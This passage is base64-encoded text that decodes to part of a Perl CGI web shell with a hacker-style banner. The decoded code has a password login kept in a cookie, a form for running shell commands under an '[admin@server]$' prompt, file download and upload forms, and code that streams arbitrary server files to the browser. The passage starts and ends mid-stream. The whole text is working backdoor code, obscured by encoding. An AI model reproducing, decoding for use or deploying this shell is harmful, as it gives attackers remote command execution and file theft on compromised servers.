sZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBDaGVja2luZyBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPg0KDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KDQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+DQo8L3RyPg0KPC90Ym9keT48L3RhYmxlPg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NCg0KUGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NClBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQ0Kew0KCW15ICRkaXI9ICI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImNvbW1hbmQiKS4iPC9zcGFuPiI7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIzY2ZmY2Nic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQokUHJvbXB0DQo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNTAiIG5hbWU9ImMiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQidHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+DQo8bGFiZWwgZm9yPSJ1cCI+T3ZlcndyaXRlIGlmIGl0IEV4aXN0czwvbGFiZWw+PGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KDQo8L2Zvcm0+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlyZXR1cm4gPDxFTkQ7DQo8L3RleHRhcmVhPg0KPGJyPjxmb250IGNvbG9yPXllbGxvdz4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+DQpFTkQNCgl9DQp9DQoNCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyDQojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaA0KIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5Lg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KCWxvY2FsKCRGaWxlVXJsKSA9IEBfOw0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRyZXN1bHQgLj0gPDxFTkQ7DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPg0KRU5EDQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOw0KCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCW15ICRyZXN1bHQgPSAiIjsNCglsb2NhbCgkU2VuZEZpbGUpID0gQF87DQoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQliaW5tb2RlKFNFTkRGSUxFKTsNCgkJCWJpbm1vZGUoU1RET1VUKTsNCgkJfQ0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOw0KCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOw0KCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQoJCWNsb3NlKFNFTkRGSUxFKTsNCgkJZXhpdCgxKTsNCgl9DQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsNCgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0